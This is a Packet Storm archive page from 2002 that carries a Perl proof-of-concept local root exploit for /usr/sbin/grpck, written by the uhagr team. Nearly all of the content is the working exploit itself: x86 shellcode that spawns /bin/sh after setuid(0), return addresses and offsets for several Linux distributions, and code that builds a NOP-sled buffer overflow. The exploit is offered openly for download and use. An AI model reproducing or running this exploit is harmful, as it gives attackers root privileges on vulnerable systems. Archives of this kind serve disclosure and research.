what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

grpck-expl.pl

grpck-expl.pl
Posted Nov 19, 2002
Authored by Black Rose | Site uhagr.org

/usr/sbin/grpck proof of concept local exploit. Not setuid by default. Tested on SuSE, Red Hat, Debian, and Mandrake.

tags | exploit, local, proof of concept
systems | linux, redhat, suse, debian, mandrake
SHA-256 | 71bfe6e2e647879dfcd24d8f56b296965f537cb2bd0c0b575f192e247aeefcfd

grpck-expl.pl

Change Mirror Download
Hi packetstorm dudez!

--- start here ---
#!/usr/bin/perl

# www.uhagr.org - ghostian@linuxmail.gr

# This is only a Proof of concept.
# /usr/sbin/grpck is not suid root by default.

# castle:~ # /usr/sbin/grpck `perl -e 'print "X"x2900'`
# Segmentation fault
# castle:~ #

my $usage = <<x;

[ uhagr team -ghostian -extraneous ]
-- grpck Local r00t exploit --

Usage: ./grpck-expl.pl <target>
Example: ./grpck-expl.pl 1

TARGETS:
[ 1 ] SuSE Linux 7.2
[ 2 ] RedHat Linux 8.0
[ 3 ] RedHat Linux 7.3
[ 4 ] RedHat Linux 7.2
[ 5 ] Debian Linux 2.2
[ 6 ] Mandrake Linux 8.2
x

$target = ($ARGV[0]);

$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

if (!$target) { print "$usage\n"; exit; }

if ($target eq '1') {
$ret = 0xbfffe514;
$offset = 940;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: SuSE Linux 7.2\n";
}

if ($target eq '2' ) {
$ret = 0xbfffe5bc;
$offset = 851;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 8.0\n";
}

if ($target eq '3' ) {
$ret = 0xbfffef94;
$offset = 1812;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.3\n";
}

if ($target eq '4' ) {
$ret = 0xbfffe73c;
$offset = 645;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.2\n";
}

if ($target eq '5' ) {
$ret = 0xbfffe934;
$offset = 1541;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Debian Linux 3.0r0\n";
}

if ($target eq '6' ) {
$ret = 0xbffff0ae;
$offset = 1859;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Mandrake Linux 8.2\n";
}


$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}

for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;
print "r00t?\n";
exec("/usr/sbin/grpck", $buffer,0);

# Have a nice night ;]
--- cut here ---

Thanks!
The uhagr team

_____________________________________________________________
Sign up for FREE email from LinuxMail.gr at http://www.linuxmail.gr
Powered by LinuxFreaks.gr

_____________________________________________________________
Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close